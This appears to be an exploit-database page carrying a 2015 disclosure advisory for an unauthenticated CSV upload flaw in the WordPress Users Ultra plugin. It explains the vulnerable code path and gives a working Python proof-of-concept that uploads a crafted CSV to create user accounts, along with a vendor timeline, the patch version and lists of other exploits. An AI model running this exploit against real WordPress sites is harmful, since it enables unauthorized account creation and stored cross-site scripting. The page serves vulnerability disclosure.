Menu

Search for hundreds of thousands of exploits

"WordPress Plugin Users Ultra 1.5.50 - Unrestricted Arbitrary File Upload"

Author

Exploit author

"Panagiotis Vagenas"

Platform

Exploit platform

php

Release date

Exploit published date

2015-11-18

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
* Exploit Title: WordPress Users Ultra Plugin [Unrestricted File Upload]
* Discovery Date: 2015/10/27
* Public Disclosure Date: 2015/12/01
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://usersultra.com
* Software Link: https://wordpress.org/plugins/users-ultra/
* Version: 1.5.50
* Tested on: WordPress 4.3.1
* Category: webapps

Description
================================================================================

WordPress plugin `Users Ultra Plugin` suffers for an unrestricted file upload vulnerability.

Any user (registered or not) can exploit a misbehavior of the plugin in order to upload csv files to the infected website. Although the plugin checks file extension using an extensions white-list (in this case only csv files are white-listed), no other checks (mime, size etc) are taking place. This alone can expose the infected website to a variety of attacks, please see [OWASP Unrestricted File Upload](https://www.owasp.org/index.php/Unrestricted_File_Upload) to get an idea.

Details
================================================================================

The plugin workflow that could allow a malicious user to exploit this misbehavior is as follows:

1. Upon initialization of the plugin (anytime if it is activated) an instance of `XooUserUser` class is created
2. In the constructor of `XooUserUser` class a check for POST variable `uultra-form-cvs-form-conf` is taking place
    file `wp-content/plugins/users-ultra/xooclasses/xoo.userultra.user.php` lines 19-23
    ```php
    if (isset($_POST['uultra-form-cvs-form-conf'])) 
    {
	    /* Let's Update the Profile */
	    $this->process_cvs($_FILES);				
    }
    ```
3. Assuming the POST variable `uultra-form-cvs-form-conf` has been set in the request, the method `XooUserUser::process_cvs()` is called.
4. `XooUserUser::process_cvs()` method process every file in $_FILES super-global by only making a check if the file has a `csv` extension

In addition we mark the following points:

1. A malicious user can create and activate user accounts by exploiting this vulnerability if `$_POST["uultra-activate-account"]` is set to `active`
2. A welcome email is send if `$_POST["uultra-send-welcome-email"]` is set to 1
3. The csv files uploaded to the server are stored in a directory (`wp-content/usersultramedia/import` by default) accessible by anyone
4. Any additional columns present in the csv file are stored in `usermeta`
5. No sanitization for values in csv file can easily lead to a Persistent XSS attack, so an attacker can compromise the whole site

PoC
================================================================================

The following Python3 script forms a csv file and uploads it to a site

```python3
#!/usr/bin/python3
import requests
import csv
import tempfile

url = 'http://example.com/'

postData = {
    'uultra-form-cvs-form-conf': 1,
    'uultra-send-welcome-email': 1,
    'uultra-activate-account': 'pending'
}

csvFileHeader = ['user name', 'email', 'display name', 'registration date', 'first name', 'last name', 'age', 'country']
csvFileRow = ['userName', 'email@example.com', 'User Name', '1/1/1', 'User', 'Name', '100', 'IO']

csvFile = tempfile.NamedTemporaryFile(mode='a+t', suffix='.csv')

wr = csv.writer(csvFile, quoting=csv.QUOTE_ALL, delimiter=',')

wr.writerow(csvFileHeader)
wr.writerow(csvFileRow)

csvFile.seek(0)

files = {'file.csv': csvFile}

r = requests.post(url, data=postData, files=files)

exit(0)
```

Timeline
================================================================================

2015/10/29 - Vendor notified via email
2015/11/11 - Vendor notified via contact form in his website
2015/11/13 - Vendor notified via support forums at wordpress.org
2015/11/14 - Vendor responded and received report through email
2015/11/15 - Vendor responded
2015/11/15 - Patch released

Solution
================================================================================

Update to version 1.5.59
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2019-04-22 "WordPress Plugin Contact Form Builder 1.0.67 - Cross-Site Request Forgery / Local File Inclusion" webapps php "Panagiotis Vagenas"
2018-01-10 "WordPress Plugin WordPress Download Manager 2.9.60 - Cross-Site Request Forgery" webapps php "Panagiotis Vagenas"
2018-01-10 "WordPress Plugin Social Media Widget by Acurax 3.2.5 - Cross-Site Request Forgery" webapps php "Panagiotis Vagenas"
2018-01-10 "WordPress Plugin Admin Menu Tree Page View 2.6.9 - Cross-Site Request Forgery / Privilege Escalation" webapps php "Panagiotis Vagenas"
2018-01-10 "WordPress Plugin CMS Tree Page View 1.4 - Cross-Site Request Forgery / Privilege Escalation" webapps php "Panagiotis Vagenas"
2016-03-03 "WordPress Plugin Bulk Delete 5.5.3 - Privilege Escalation" webapps php "Panagiotis Vagenas"
2016-02-24 "WordPress Plugin Extra User Details 0.4.2 - Privilege Escalation" webapps php "Panagiotis Vagenas"
2016-02-08 "WordPress Plugin User Meta Manager 3.4.6 - Information Disclosure" webapps php "Panagiotis Vagenas"
2016-02-08 "WordPress Plugin WP User Frontend < 2.3.11 - Unrestricted Arbitrary File Upload" webapps php "Panagiotis Vagenas"
2016-02-08 "WordPress Plugin WooCommerce Store Toolkit 1.5.5 - Privilege Escalation" webapps php "Panagiotis Vagenas"
2016-02-04 "WordPress Plugin User Meta Manager 3.4.6 - Privilege Escalation" webapps php "Panagiotis Vagenas"
2016-02-04 "WordPress Plugin User Meta Manager 3.4.6 - Blind SQL Injection" webapps php "Panagiotis Vagenas"
2015-12-03 "WordPress Plugin Users Ultra 1.5.50 - Blind SQL Injection" webapps php "Panagiotis Vagenas"
2015-12-03 "Gnome Nautilus 3.16 - Denial of Service" dos linux "Panagiotis Vagenas"
2015-12-03 "WordPress Plugin Users Ultra 1.5.50 - Persistent Cross-Site Scripting" webapps php "Panagiotis Vagenas"
2015-11-18 "WordPress Plugin Users Ultra 1.5.50 - Unrestricted Arbitrary File Upload" webapps php "Panagiotis Vagenas"
2015-06-04 "WordPress Plugin zM Ajax Login & Register 1.0.9 - Local File Inclusion" webapps php "Panagiotis Vagenas"
2015-05-27 "WordPress Plugin Free Counter 1.1 - Persistent Cross-Site Scripting" webapps php "Panagiotis Vagenas"
2015-05-21 "WordPress Plugin WP Membership 1.2.3 - Multiple Vulnerabilities" webapps php "Panagiotis Vagenas"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.